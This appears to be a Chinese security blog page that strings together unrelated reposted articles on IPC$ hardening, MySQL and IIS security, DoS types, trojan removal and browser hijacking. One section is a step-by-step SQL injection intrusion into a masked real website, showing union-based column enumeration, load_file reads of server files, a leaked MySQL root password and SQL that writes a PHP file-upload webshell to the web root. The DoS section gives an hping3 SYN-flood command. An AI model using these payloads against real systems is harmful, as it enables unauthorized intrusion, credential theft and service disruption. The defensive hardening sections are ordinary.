子鱼 ' Blog

IPC$(Internet Process Connection)是共享"命名管道"的资源，它是为了让进程间通信而开放的命名管道，通过提供可信任的用户名和口令，连接双方可以建立安全的通道并以此通道进行加密数据的交换，从而实现对远程计算机的访问。IPC$是NT/2000的一项新功能，它有一个特点，即在同一时间内，两个IP之间只允许建立一个连接。简单点说就是通过你的系统帐号和密码登陆你的系统的一个通道！而 IPC$ 并不算是一个漏洞，但因一般电脑用户设置系统的密码为空，这就成为一个可给利用的漏洞了！别人用管理员权限的帐号和空密码登陆你的系统后，别人就可以开共享，执行命令、程序、木马，还可以删除你的系统文件，危险性极大！

怎样防范
--------------------------------------------------------------------
请把你系统帐号设置为非空的密码，而密码不能太简单！这样，别人就扫描不出你的密码！当然要你记得住，如果自己都记不住那就。。。。
请加一个防火墙，把IPC相关的端口禁止外网访问！
端口如下：
要禁止TCP的端口,135,139,445
要禁止UDP的端口 137 (这是读取你机子名字的端口,MAC扫描就是扫描这个端口的)
这样，别人利用IPC$(也就是常说的肉鸡扫描)就扫不到你机子了！
如果禁止所以人连接你的 135 137 139 445 端口后，如果你是在一个局域网里，那共享功能也无效了！可以设置防火墙允许局域网用户通过，就可以解决共享问题！
如果你是一台机上网的，根本不用共享的功能，你可以关掉如下服务:
Computer Browser
Server
Workstation
这样，IPC就不建立了，IPC入侵就不能成功，但防火墙还是要开，因为有些工具还是可以通过
135端口的WMI服务，进行入侵！


啊D工具扫描,使用注意!
-------------------------------------------------------------------------------------------------------
当你使用啊D工具包进行扫描时，你也不想成为肉鸡，请把你的帐号密码不要设置为空，
并帐号的密码不能太过简单，并使用防火墙禁止 135,139,445端口!
UDP的137 端口必须开放，如果不开发，扫不到肉鸡!
也请把下面的服务开启！
Computer Browser
Server
Workstation

如上设置，你可以扫到别人，别人扫描不到你！这样就可以进行漏洞检测了！

copy from 至尊宝's Blog

>>>>>>记一次安全检测<<<<<<

测试站点如下

http://www.******.com

找个踩点

http://www.******.com/zhaobiao/zhaobiao_hy_show.php?id=149830

提交一个 &#39;

返回结果

Warning: mysql_result(): supplied argument is not a valid MySQL result resource in

/var/www/html/zhaobiao/zhaobiao_hy_show.php on line 135

Warning: mysql_result(): supplied argument is not a valid MySQL result resource in

/var/www/html/zhaobiao/zhaobiao_hy_show.php on line 140

Warning: mysql_result(): supplied argument is not a valid MySQL result resource in

/var/www/html/zhaobiao/zhaobiao_hy_show.php on line 154

路径出来了,继续安检.

http://www.******.com/zhaobiao/zhaobiao_hy_show.php?id=149830&#39;and 1=1 #

返回错误，不是字符型.

注明:%23是#

提交 and 1=1 返回正常

提交 and 1=2 返回不正常

接下来就是 union 语句

and 1=1 union sel&#101;ct 1 返回不正常

and 1=1 union sel&#101;ct 1,2 返回不正常

and 1=1 union sel&#101;ct 1,2,3 返回不正常

and 1=1 union sel&#101;ct 1,2,3,4 返回不正常

and 1=1 union sel&#101;ct 1,2,3,4,5 返回不正常

and 1=1 union sel&#101;ct 1,2,3,4,5,6 返回不正常

and 1=1 union sel&#101;ct 1,2,3,4,5,6,7 返回不正常

and 1=1 union sel&#101;ct 1,2,3,4,5,6,7,8 返回不正常

and 1=1 union sel&#101;ct 1,2,3,4,5,6,7,8,9 返回不正常

and 1=1 union sel&#101;ct 1,2,3,4,5,6,7,8,9,10 返回不正常

and 1=1 union sel&#101;ct 1,2,3,4,5,6,7,8,9,10,11 返回不正常

and 1=1 union sel&#101;ct 1,2,3,4,5,6,7,8,9,10,11,12 返回不正常

and 1=1 union sel&#101;ct 1,2,3,4,5,6,7,8,9,10,11,12,13 返回不正常

and 1=1 union sel&#101;ct 1,2,3,4,5,6,7,8,9,10,11,12,13,14 返回正常

猜到 14 就正常了 继续下一步.

一般这样的站点基本上后台是不可能那么容易让我们找到的..

还是先看看有没有再说吧..

猜猜常用的路径.

login.php
admin.php
admin_login.php
admin_index.php
admin/login.php
admin/admin.php
admin/admin_login.php
admin/admin_index.php
manage/index.php
manage/login.php
manage/admin_login.php
manage/admin_index.php

等等.有耐心的可以慢慢去猜.就算猜到了也没什么用.

我们还是用比较直接的方法吧.直接用 load_file 读取文件内容

http://www.******.com/zhaobiao/zhaobiao_hy_show.php?id=149830 and 1=1 union sel&#101;ct 1,2,3,4,5,6,7,8,9,10,11,12,13,14

http://www.******.com/zhaobiao/zhaobiao_hy_show.php?id=149830 and 1=2 union sel&#101;ct 1,2,3,4,5,6,7,8,9,10,11,12,13,14
里面的 and 1=1 变成 and 1=2

返回结果如下:

2

就在2的位置暴了我们需要的文件内容.

我们就从 /var/www/html/zhaobiao/zhaobiao_hy_show.php

直接用 load_file(&#39;/var/www/html/zhaobiao/zhaobiao_hy_show.php&#39;)

前提是要把 /var/www/html/zhaobiao/zhaobiao_hy_show.php 转换成 16 进制

http://www.******.com/zhaobiao/zhaobiao_hy_show.php?id=149830 and 1=2 union sel&#101;ct 1,load_file

(0x2F7661722F7777772F68746D6C2F7A68616F6269616F2F7A68616F6269616F5F68795F73686F772E706870),3,4,5,6,7,8,9,10,11,12,13,14

返回结果

0 o&#114; $regdate>mysql_result($query,0,&#39;yxdate&#39;)){?>

　　",mysql_result($query,0,&#39;sm&#39;));?>

不要管这些，直接查看源文件找到了一个 inc.php 的文件 然后配合前面的路径

/var/www/html/inc.php

http://www.******.com/zhaobiao/zhaobiao_hy_show.php?id=149830 and 1=2 union sel&#101;ct 1,load_file

(0x2F7661722F7777772F68746D6C2F696E632E706870),3,4,5,6,7,8,9,10,11,12,13,14

暴一下 返回看不到内容 直接查看源文件

<?
$myconn=mysql_connect(&#39;localhost&#39;,&#39;root&#39;,&#39;www.******.comy0p5h1i0&#39;);
mysql_sel&#101;ct_db(&#39;mlk&#39;);
?>

Mysql 直接暴出来了..

下一步就是登陆 Mysql 然后插入自己准备好的小马..

use mlk;
cr&#101;ate table mmxy (cmd TEXT);
ins&#101;rt into mmxy values(&#39;<?php&#39;);
ins&#101;rt into mmxy values(&#39;$msg = copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]) ? "Successful" : "failure";&#39;);
ins&#101;rt into mmxy values(&#39;echo $msg;&#39;);
ins&#101;rt into mmxy values(&#39;?>&#39;);
ins&#101;rt into mmxy values(&#39;<form ENCTYPE="multipart/form-data" ACTION="" METHOD="POST">&#39;);
ins&#101;rt into mmxy values(&#39;<input NAME="MyFile" TYPE="file">&#39;);
ins&#101;rt into mmxy values(&#39;<input VALUE="Up" TYPE="submit"></form>&#39;);
sel&#101;ct * from mmxy into outfile &#39;/var/www/html/zhaobiao/mmxy.php&#39;;

使用MySQL，安全问题不能不注意。以下是MySQL提示的23个注意事项：

1.如果客户端和服务器端的连接需要跨越并通过不可信任的网络，那么就需要使用SSH隧道来加密该连接的通信。

2.用set password语句来修改用户的密码，三个步骤，先“mysql -u root”登陆数据库系统，然后“mysql> up&#100;ate mysql.user set password=password(&#39;newpwd&#39;)”，最后执行“flush privileges”就可以了。

3.需要提防的攻击有，防偷听、篡改、回放、拒绝服务等，不涉及可用性和容错方面。对所有的连接、查询、其他操作使用基于ACL即访问控制列表的安全措施来完成。也有一些对SSL连接的支持。

4.除了root用户外的其他任何用户不允许访问mysql主数据库中的user表；

加密后存放在user表中的加密后的用户密码一旦泄露，其他人可以随意用该用户名/密码相应的数据库；

5.用grant和revoke语句来进行用户访问控制的工作；

6.不使用明文密码，而是使用md5()和sha1()等单向的哈系函数来设置密码；

7.不选用字典中的字来做密码；

8.采用防火墙来去掉50%的外部危险，让数据库系统躲在防火墙后面工作，或放置在DMZ区域中；

9.从因特网上用nmap来扫描3306端口，也可用telnet server_host 3306的方法测试，不能允许从非信任网络中访问数据库服务器的3306号TCP端口，因此需要在防火墙或路由器上做设定；

10.为了防止被恶意传入非法参数，例如wh&#101;re ID=234，别人却输入wh&#101;re ID=234 o&#114; 1=1导致全部显示，所以在web的表单中使用&#39;&#39;或""来用字符串，在动态URL中加入%22代表双引号、%23代表井号、%27代表单引号；传递未检查过的值给mysql数据库是非常危险的；

11.在传递数据给mysql时检查一下大小；

12.应用程序需要连接到数据库应该使用一般的用户帐号，只开放少数必要的权限给该用户；

13.在各编程接口(C C++ PHP Perl Java JDBC等)中使用特定‘逃脱字符’函数；

在因特网上使用mysql数据库时一定少用传输明文的数据，而用SSL和SSH的加密方式数据来传输；

14.学会使用tcpdump和strings工具来查看传输数据的安全性，例如tcpdump -l -i eth0 -w -src o&#114; dst port 3306 | strings。以普通用户来启动mysql数据库服务；

15.不使用到表的联结符号，选用的参数 --skip-symbolic-links；

16.确信在mysql目录中只有启动数据库服务的用户才可以对文件有读和写的权限；

17.不许将process或super权限付给非管理用户，该mysqladmin processlist可以列举出当前执行的查询文本；super权限可用于切断客户端连接、改变服务器运行参数状态、控制拷贝复制数据库的服务器；

18.file权限不付给管理员以外的用户，防止出现load data &#39;/etc/passwd&#39;到表中再用sel&#101;ct 显示出来的问题；

19.如果不相信DNS服务公司的服务，可以在主机名称允许表中只设置IP数字地址；

20.使用max_user_connections变量来使mysqld服务进程，对一个指定帐户限定连接数；

21.grant语句也支持资源控制选项；

22.启动mysqld服务进程的安全选项开关，--local-infile=0或1 若是0则客户端程序就无法使用local load data了，赋权的一个例子grant ins&#101;rt(user) on mysql.user to &#39;user_name&#39;@&#39;host_name&#39;;若使用--skip-grant-tables系统将对任何用户的访问不做任何访问控制，但可以用mysqladmin flush-privileges或mysqladmin reload来开启访问控制；默认情况是show databases语句对所有用户开放，可以用--skip-show-databases来关闭掉。

23.碰到Error 1045(28000) Access Denied for user &#39;root&#39;@&#39;localhost&#39; (Using password:NO)错误时，你需要重新设置密码，具体方法是：先用--skip-grant-tables参数启动mysqld，然后执行mysql -u root mysql,mysql>up&#100;ate user set password=password(&#39;newpassword&#39;) wh&#101;re user=&#39;root&#39;;mysql>Flush privileges;，最后重新启动mysql就可以了。

技术

拒绝服务技术的创新已经基本尘埃落定，而上个世纪最后十年的发明也逐渐遥远。然而，随着宽带接入、自动化和如今家庭计算机功能的日益强大，使得对拒绝服务攻击的研究有些多余。尤其是当我们发现一些本已在90年代末销声匿迹的古老的攻击方式，(例如land ，其使用类似的源和目标 IP 地址和端口发送 UDP 信息包)这些攻击技术 现在又卷土重来时，这个结论就更加显而易见。在这一方面唯一的进步就是可以发起并行任务，从而可以通过简单的 486 处理器所无法实现的方式来显著提高攻击强度。


另一个要考虑的重点是事实上IP堆栈似乎并未正确地安装补丁程序。计算机不再会因为单一的信息包而崩溃；但是，CPU操作会为了处理这种信息包而保持高速运行。因为补丁失效期间生成的信息包是有限的，所以要实现有效的攻击并不容易。可能是技术提高得太快。不管是什么原因，这些陈旧过时的攻击方式现在又卷土重来，而且还非常有效。


使用拒绝服务


拒绝服务攻击开始可能只是为了“取乐”，对系统操作员进行某种报复或是实现各种复杂的攻击，例如对远程服务的隐形欺骗。某人因在某一信道上遭到侮辱后也经常会将IRC服务器作为攻击目标。这种情况下的网络和因特网使用是“保密的”，这些攻击对其造成的影响微乎其微。


随着时间的流逝，因特网逐渐成为一种通信渠道，hacktivism（网络激进主义）越来越流行。地理政治形势、战争、宗教问题、生态等任何动机都可能成为对公司、政治组织或甚至国家的IT基础架构发动进攻的动机。


最近的拒绝服务攻击更多的是与联机游戏有关。某些玩家对在游戏中被人杀死或丢失他们喜爱的武器不满意，因此发动拒绝服务攻击，许多服务器已经成为这种攻击的牺牲品。


但是如今使用拒绝服务的目的大多数是纯粹的敲诈勒索。越来越多的企业开始依赖他们的IT基础架构。邮件、关键数据、甚至电话都通过网络来处理。如果没有这些主要的通信渠道，大多数公司都难以在竞争中幸存。而且，因特网还是一种生产工具。例如，搜索引擎和博彩web 站点都完全依赖网络连接。


因此，随着公司直接或间接地依赖因特网，原有的敲诈信逐渐转变成数字形式。首先在短暂而非紧要的时间段内发动攻击。然后受害者就不得不支付“保护费”。


网络协议攻击


这些攻击瞄准传输信道，并因此以IP堆栈作为攻击目标，IP堆栈是内存和 CPU 之类关键资源的进入点。


SYN洪水


SYN洪水是典型的基于概念的拒绝服务攻击，因为这种攻击完全依赖于TCP连接的建立方式。在最初的 3 向握手期间，服务器填写保存内存中会话信息的 TCB（传输控制块）表。当服务器收到来自客户机的初始 SYN 信息包时，向客户机发送回一个 SYN-ACK 信息包并在 TCB 中创建一个入口。只要服务器在等待来自客户机的最终 ACK 信息包，该连接便处于 TIME_WAIT 状态。如果最终没有收到 ACK 信息包，则将另一个 SYN-ACK 发送到客户机。最后，如果经多次重试后，客户机没有认可任何 SYN-ACK 信息包，则关闭会话并从 TCB 中刷新会话。从传输第一个 SYN-ACK 到会话关闭这段时间通常大约为 30 秒。


在这段时间内，可能会将数十万个SYN信息包发送到开放的端口且绝不会认可服务器的SYN-ACK 信息包。TCB 很快就会超过负荷，且堆栈无法再接受任何新的连接并将现有的连接断开。因为攻击者不用接收来自服务器的 SYN-ACK 信息包，所以他们可以伪造初始 SYN 信息包的源地址。这就使得跟踪攻击的真实来源更加困难。此外，因为 SYN-ACK 信息包没有发送到攻击者，所以这样还为攻击者节省了带宽。


生成这种攻击很容易，只要在命令行输入一条命令就足够了。


#hping3--rand-source–S –L 0 –p


存在的变体也很少，通常为了增加CPU的使用率会将某些异常添加到SYN 信息包。这些可能是序列号或源端口0等合法的异常。



SYN-ACK洪水


SYN-ACK洪水的作用基础是令CPU资源枯竭。从理论上讲，这种信息包是 TCP 3 向握手的第二步，而且在 TCB 中应该有对应的入口。浏览 TCB 将会使用 CPU 资源，尤其 TCB 很大时会耗用更多的 CPU 资源。因此，负荷较重时，这种对资源的使用会影响系统性能。


这也就是SYN-ACK攻击所仰仗的利器。向系统发送一个巨荷的SYN-ACK 信息包会显著增加系统 CPU 的使用率。因此，用于组织 TCB 的哈希算法和哈希表大小之选择会影响攻击的效率（请参阅“概念”和“逻辑缺陷”）。而且，因为这些 SYN-ACK 信息包不属于现有的连接，所以目标机器不得不将 RST 信息包发送到源机器，从而增加了链路上的带宽占用率。对于 SYN 洪水，攻击者为了避免接收到 RST，当然可以伪造源机器的 IP 地址，这样还可以提高攻击者的可用带宽。


这也只需要一条简单的命令就可以进行这种攻击。


一个重要因子是由第三方服务器基于反射机制而生成SYN-ACK信息包的能力。在将SYN 信息包发送到服务器的开放端口时，该服务器将 SYN-ACK 信息包发送回源机器。此时任何服务器都可能为这种攻击充当中继。发送到服务器的简单 SYN 信息包带有伪造的源，其发送到目标时生成 SYN-ACK 返回目标。这种技术让跟踪更加困难。而且，在某些情况下，还可以绕过某些防伪机制。尤其当目标和攻击者属于同一干道而且部署的 uRPF (参阅“防伪”) 距离目标机器和攻击者足够远时，更有可能避开防伪机制。


通过与SYN洪水联结还可以提高此种攻击的强度。SYN洪水在TCB 中创建入口，而TCB因此变得越来越大。由于此时浏览 TCB 所需的时间更长，所以 SYN-ACK 洪水的功效大大增加。


UDP洪水


UDP同样天生就是拒绝服务攻击的传播媒介。按照指定，在封闭端口上接收UDP信息包的服务器将无法到达 ICMP 端口的信息包发送回给源机器。ICMP 信息包的数据部分填充有原始 UDP 信息包中的至少前 64 个字节。因为没有标准限度或额度，所以很可能在封闭的端口上发送巨量的信息包。在为生成 ICMP 而进行负荷极大的必需操作时，，错误的信息包消耗了大量 CPU 资源，最终导致CPU 资源枯竭。


同样，也可以从命令行生成这种攻击。而且，也可以通过伪造而使得ICMP信息包不会降低攻击者的带宽。

随着不限时宽带的普及，为了方便BT下载，很多朋友都爱24小时挂机。全天候的在线，这给一些病毒、木马“入侵”系统带来了极大便利，他们可以在半夜入侵我们的电脑，肆意为非作歹。近日笔者在帮助一位朋友杀毒的时候，就遭遇一个“无法删除的病毒”，下面将查杀经验与大家共享。

1.惊现病毒。朋友的电脑安装的是Windows XP专业版，近来常常彻夜开机用BT下载电影，没想到在一次开机的时候，Norton就报告在下发现病毒“exporer.exe”，不过使用Norton扫描后，虽然可以发现病毒，但Norton提示无法隔离和删除病毒文件。

2.查杀。一般来说，病毒如果无法被直接删除，大多是由于病毒进程在运行导致的，打开任务管理器，找到病毒进程“exporer.exe”顺利将其终止，按照Norton提供病毒文件路径，找到病毒文件后，按住Shift键右击选择“删除”，奇怪的是系统却提示无法删除文件，再次打开任务管理器，我已经确信病毒进程被终止了，而且也不是在写保护状态，为什么无法删除?我试图把文件夹删除，但同样遭到系统拒绝，重启电脑多次仍然是同样的结果。

后来笔者在查看“exporer.exe”属性(看看文件生成日期和大小，以便搜索一下病毒还有没有同伙)时，意外发现属性窗口还有一个“安全”标签，点击后可以看到在用户权限列表“特别权限”的拒绝选项被打上小勾，会不会是文件权限不够导致无法删除?单击的“高级”按钮，在弹出的窗口我看到一个“拒绝删除”的权限，单击“编辑”终于看到文件无法删除的真正原因了，原来当前用户的删除权限被施毒者设置为拒绝了，但是却允许“读取和运行，取消拒绝的权限后，返回文件属性窗口，勾选“允许完全控制”，单击“确定”退出后顺利删除“exporer.exe”。

小提示

文件(夹)属性“安全”标签只会在NTFS格式的分区出现，如果看不到此标签，打开我的电脑，单击“工具→文件夹选项→查看”，然后在高级设置选项下去除“简单文件共享(推荐)”前的小勾。

笔者在删除“exporer.exe” 后试图删除文件夹，遭到系统拒绝后，通过查看文件夹的“安全”属性，同样可以发现删除权限(删除子文件夹及文件、删除)被拒绝了，同上，取消这个限制后顺利把病毒“扫地出门”。对于文件(夹)，如果是由于权限原因被拒绝操作，一般将权限设置为“完全控制”即可。

小技巧

(1)权限是可以继承的，有时候打开某个文件安全属性标签后，可能在图4不会有“拒绝删除”权限，但是如果它的父文件夹设置了“拒绝删除子文件夹及文件”，该文件还是无法被删除的，解决方法是将文件权限设置为完全控制。

(2)文件权限是和文件所有者相关联的，对于办公室多帐户电脑，一些别有用心的人可能还会将木马和用户对应起来(以针对电脑操作水平较低帐户，警惕性不高易于窃取资料)，如果发现木马毒会和对应帐户关联，即有些用户登录后木马会运行，而有些则不会(木马文件权限被设置为禁止读取和删除)，这时可以用系统管理员身份登录，强行将木马文件所有者更改为当前用户，然后设置为完全控制将木马删除。

(3)一点经验。Windows XP/2000的文件(夹)权限，是系统一项特殊功能，它允许灵活设置不同用户的不同权限，一些牧马者通过将病毒程序文件设置为允许“读取和运行”、拒绝“删除”，从而实现更好的“自我保护”。由于更改文件权限操作比较复杂，施毒者一般要在宿主机上亲自操作，对于喜爱全天候挂机的朋友，安装一款防护能力较好的防火墙，关闭一些不必要端口，可以有效防止此类病毒的袭击，如果发现病毒无法删除，在终止进程情况下，大家一定要看看文件权限是否被更改了。

在本篇技术指南中，将概要介绍你如何修改最重要的组策略安全设置。



你可以在采用Windows XP、2000和Server 2003操作系统的本地计算机上使用这些方法，或者在Server 2003和2000中的OU域名级上使用这些方法。为了简明扼要和提供最新的信息，我准备介绍一下如何设置基于Windows Server 2003的域名。请记住，这些只是你在你的域名中能够设置的组策略对象中最有可能出现问题的。按照我的观点，这些设置可以保持或者破坏Windows的安全。而且由于设置的不同，你的进展也不同。因此，我鼓励你在使用每一个设置之前都进行深入的研究，以确保这些设置能够兼容你的网络。如果有可能的话，对这些设置进行试验(如果你很幸运有一个测试环境的话)。


如果你没有进行测试，我建议你下载和安装微软的组策略管理控制台(GPMC)来做这些改变。这个程序能够把组策略管理任务集中到一个单一的界面让你更全面地查看你的域名。要开始这个编辑流程，你就上载GPMC，扩展你的域名，用鼠标右键点击“缺省域名策略”，然后选择“编辑”。这样就装载了组策略对象编辑器。如果你要以更快的速度或者“次企业级”的方式编辑你的域名组策略对象，你可以在“开始”菜单中运行“gpedit.msc”。


1.确定一个缺省的口令策略，使你的机构设置位于“计算机配置/Windows设置/安全设置/账号策略/口令策略”之下。


2.为了防止自动口令破解，在“计算机配置/Windows设置/安全设置/账号策略/账号关闭策略”中进行如下设置:


·账号关闭持续时间(确定至少5-10分钟)


·账号关闭极限(确定最多允许5至10次非法登录)


·随后重新启动关闭的账号(确定至少10-15分钟以后)


3.在“计算机配置/Windows设置/安全设置/本地策略/检查策略”中启用如下功能:


·检查账号管理


·检查登录事件


·检查策略改变


·检查权限使用


·检查系统事件


理想的情况是，你要启用记录成功和失败的登录。但是，这取决于你要保留什么类型的记录以及你是否能够管理这些记录。Roberta Bragg在这里介绍了一些普通的检查记录设置。要记住，启用每一种类型的记录都需要你的系统处理器和硬盘提供更多的资源。


4.作为增强Windows安全的最佳做法和为攻击者设置更多的障碍以减少对Windows的攻击，你可以在“计算机配置/Windows设置/安全设置/本地策略/安全选项”中进行如下设置:


·账号:重新命名管理员账号--不是要求更有效而是增加一个安全层(确定一个新名字)


·账号:重新命名客户账号(确定一个新名字)


·交互式登录:不要显示最后一个用户的名字(设置为启用)


·交互式登录:不需要最后一个用户的名字(设置为关闭)


·交互式登录: 为企图登录的用户提供一个消息文本(确定为让用户阅读banner text(旗帜文本)，内容大致为“这是专用和受控的系统。


如果你滥用本系统，你将受到制裁。--首先让你的律师运行这个程序)


·交互式登录: 为企图登录的用户提供的消息题目--在警告!!!后面写的东西


·网络接入:不允许SAM账号和共享目录(设置为“启用”)


·网络接入:将“允许每一个人申请匿名用户”设置为关闭


·网络安全:“不得存储局域网管理员关于下一个口令变化的散列值”设置为“启用”


·关机:“允许系统在没有登录的情况下关闭”设置为“关闭”


·关机:“清除虚拟内存的页面文件”设置为“启用”


如果你没有Windows Server 2003域名控制器，你在这里可以找到有哪些Windows XP本地安全设置的细节，以及这里有哪些详细的Windows 2000 Server组策略的设置。要了解更多的有关Windows Server 2003组策略的信息，请查看微软的专门网页。

木马是一种非常特殊的程序，它与病毒和恶意代码不同。木马程序（Trojan horses）隐蔽性很强，您根本不知道它们在运行。但是它们产生的危害并不亚于病毒。一旦您的机器中了木马，则网上有人可以通过它来获取您的密码和一些资料。甚至一些高级的黑客可以远程控制您的电脑。下面我们就向大家介绍有效防范木马的招术。

小心下载软件

由于黑客软件被人们滥用，网上很多站点所提供下载的软件或多或少掺杂木马或病毒。一但该软件被用户下载到硬盘且满足运行条件，木马和病毒就会对电脑系统和用户的信息安全构成巨大的威胁，而这一切，毕竟是普通用户所不能察觉的。惟一能避免木马和病毒横行的，并不一定全依赖反病毒软件，而是靠用户的自制能力。如不要去访问不知名的站点，不要去登录染色站点，不要从上面下载拨号器或是黑客站点下载看似安全的软件。同时，下载的时候一定要开启防火墙。

不随意打开附件

有很多不怀好意的人喜欢把木马加在邮件附件中，甚至把木马和正常文件混合在一起，然后再起上一个具有吸引力的邮件名来诱惑无辜的网友们去打开附件。此外，通过QQ间的文件传递也能发出木马来。因此，我们不可以随便打开陌生人发来的邮件，尤其是其中的附件，而.doc，.exe，.swf的附件更是要小心谨慎。如果实在要打开，可以先把这个附件文件保存到硬盘上，用邮件监控或反病毒扫描一番后再打开。

使用杀毒软件

新的木马和病毒一出来，惟一能控制其蔓延的就是不断地更新防毒软件中的病毒库。除开启防毒软件的保护功能外，我们还可以多运行一些其他的软件，如天网等，它可以监控网络之间正常的数据流通和不正常的数据流通并随时对用户发出相关提示。如果我们怀疑机器染了木马，还可以从http://download.zol.com.cn上下载个木马克星来彻底扫描木马，保护系统的安全。主要的木马查杀程序有Trojan Defense、Antiy Ghostbusters、Digital Patrol、PestPatrol、Tauscan、TDS-3 Trojan Defence Suite和Trojan Remover等，而且有的是免费软件，大家下载后可以免费使用。

查看文件扩展名

木马的扩展名多数为VBS、PIF等，甚至有的木马根本就没有扩展名。利用这个特征我们只要打开“我的电脑”，依次选择“查看→文件夹选项”命令，再单击“查看”标签，用鼠标向下拖动滚动栏，去掉“隐藏已知文件的扩展名”前的小钩让文件的扩展名显示出来。以后看到扩展名为VBS、PIF等文件时就要多加小心了。

编后语：以上都是一些操作习惯，但对于我们抵御木马是相当有帮助的。由于木马程序每天都会出现新的种类，所以一般的木马程序都会提供即时在线更新服务，以便让它能够即时检测出系统中的木马。

“浏览器劫持”，通俗点说就是故意误导浏览器的行进路线的一种现象，常见的浏览器劫持现象有:访问正常网站时被转向到恶意网页、当输入错误的网址时被转到劫持软件指定的网站、输入字符时浏览器速度严重减慢、IE浏览器主页/搜索页等被修改为劫持软件指定的网站地址、自动添加网站到“受信任站点”、不经意的插件提示安装、收藏夹里自动反复添加恶意网站链接等，不少用户都深受其害。那么，这类现象是如何引起的呢?用户又该如何防范应对呢?这就是本文要介绍的内容。

　　一、“攻”之解说

　　1、整体认识。

　　浏览器劫持(Browser Hijack)是一种恶意程序软件，通过恶意修改用户个人电脑的浏览器默认设置，以引导用户登录被其修改的或并非用户本意要浏览的网页。大多数浏览器劫持者是在用户访问其网站时，通过修改其浏览器默认首页或搜索结果页，达到劫持网民浏览器的目的。这些载体可以直接寄生于浏览器的模块里，成为浏览器的一部分，进而直接操纵浏览器的行为。“浏览器劫持”的后果非常严重，用户只有在受到劫持后才会发现异常情况;目前，浏览器劫持已经成为Internet用户最大的威胁之一。

　　2、现象分析。

　　“浏览器劫持”的攻击手段可以通过被系统认可的“合法途径”来进行。所谓“合法途径”，即是说大部分浏览器劫持的发起者，都是通过一种被称为“BHO”(Browser Helper Object，浏览器辅助对象)的技术手段来植入系统。

　　而BHO是微软早在1999年推出的作为浏览器对第三方程序员开放交互接口的业界标准，它是一种可以让程序员使用简单代码进入浏览器领域的“交互接口”， 由于BHO的交互特性，程序员还可以使用代码去控制浏览器的行为，比如常见的修改替换浏览器工具栏、在浏览器界面上添加自己的程序按钮等操作，这些操作都被系统视为“合法”，这就是“浏览器劫持”现象赖以存在的根源。

　　二、“防”之细谈


　　这类现象确实难以防范，用户永远处于被动地位。我们只能通过一些设置与软件的应用，让这种影响减至最低。以下办法可供大家参考。

　　1、个别劫持现象的手动修正。

　　Windows登录窗口被劫持。

　　在注册表中打开HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon分支，然后将其下的“LegalNoticeCaption”和“LegalNoticeText”主键删除即可解决问题。

　　在网页中单击鼠标右键，在弹出的菜单里显示网页广告。

　　在注册表中打开HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt分支，IE浏览器中显示的附加右键菜单都在这里设置，常见的网际快车单击右键下载的信息也存放在这里，只需找到显示广告的主键条目删除即可。

　　2、通用修正法。

　　虽然“浏览器劫持”一般都需要手工修正，但仍可以通过一些检测浏览器劫持工具如HijackThis、Browser Hijack Recover等来实现修正工作。下面以HijackThis为例，简要说明修正过程。

　　软件下载地址:http://www.mydown.com/soft/187/187841.html。下载完成后双击即可启动到如图所示主界面。单击左下角“扫描”按钮，软件会自动对系统进行全方位的安全检测;稍等之后即会返回系统中所有可疑内容，每个可疑项目前都有一个编号，这些编号代表了不同的类别;勾选某个项目后单击右下角的“显示所选项目信息”按钮可以查看到更详细的信息;然后单击“修复”按钮即可进行修复。

　　三、总结

　　浏览器一旦被劫持，就意味这你无法决定自己的电脑里将被存放进什么资料，这无疑存在巨大安全隐患。而如今的互联网络环境可谓处处是“浏览器劫持”式的陷阱，单凭普通用户被动的事后修正无异于亡羊补牢;更多的需要全世界互联网使用者把好公众舆论和道德走向一关。

IIS（Internet Information Server）作为目前最为流行的Web服务器平台，发挥着巨大的作用。因此，了解如何加强IIS的安全机制，建立一个高安全性能的Web服务器就显得尤为重要。

　　保证系统的安全性

　　因为IIS是建立在操作系统下，安全性也应该建立在系统安全性的基础上，因此，保证系统的安全性是IIS安全性的基础，为此，我们要做以下事情。

　　1、 使用NTFS文件系统

　　在NT系统中应该使用NTFS系统，NTFS可以对文件和目录进行管理，而FAT文件系统只能提供共享级的安全，而且在默认情况下，每建立一个新的共享，所有的用户就都能看到，这样不利于系统的安全性。和FAT文件系统不同，在NTFS文件下，建立新共享后可以通过修改权限保证系统安全。

　　2、 关闭默认共享

　　在Windows 2000中，有一个“默认共享”，这是在安装服务器的时候，把系统安装分区自动进行共享，虽然对其访问还需要超级用户的密码，但这是潜在的安全隐患，从服务器的安全考虑，最好关闭这个“默认共享”，以保证系统安全。方法是：单击“开始/运行”，在运行窗口中输入“Regedit”，打开注册表编辑器，展开“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\lanmanworkstation\parameters”，在右侧窗口中创建一个名为“AutoShare-Wks”的双字节值，将其值设置为0，这样就可以彻底关闭“默认共享”。

3、 设置用户密码

　　用户一定要设置密码，用户的密码尽量使用数字与字母大小混排的口令，还需要经常修改密码，封锁失败的登录尝试，并且设定严格的账户生存时间。应避免设置简单的密码，且用户的密码尽可能不要和用户名有任何关联。

　　保证IIS自身的安全性

　　在保证系统具有较高安全性的情况下，还要保证IIS的安全性，主要请注意以下事情：

　　1、要尽量避免把IIS安装在网络中的主域控制器上。因为在安装完IIS后，会在所安装的计算机上生成IUSR_Computername的匿名账户。这个账户会被添加到域用户组中，从而把应用于域用户组的访问权限提供给访问Web服务器的每个匿名用户，这样不仅不能保证IIS的安全性，而且会威胁到主域控制器。

　　2、限制网站的目录权限。目前有很多的脚本都有可能导致安全隐患，因此在设定IIS中网站的目录权限时，要严格限制执行、写入等权限。

　　3、经常到微软的站点下载IIS的补丁程序，保证IIS最新版本。

　　只要提高安全意识，经常注意系统和IIS的设置情况，IIS就会是一个比较安全的服务器平台，能为我们提供安全稳定的服务。

2006年 5月15日，著名的反病毒安全软件厂商KasperskyLab发布了划时代的安全软件套装Kaspersky Internet Security 6（简称KIS6）以及 Kaspersky AntiVirus 6.0（简称KAV6）。KIS6/KAV6比卡罢以前的产品有了质的提高。KIS6包含了文件防毒、邮件防毒、网页防毒、事前防卫（包括进程行为监控，监视各类代码注入、安装全局钩子、加载驱动/服务等行为；文件完整性检查；检查各类运用RK技术的文件/进程/端口/注册表隐藏；Office宏保护等）；反间谍软件、防火墙、反垃圾邮件等功能。KAV6比KIS6缺少了防火墙模块。

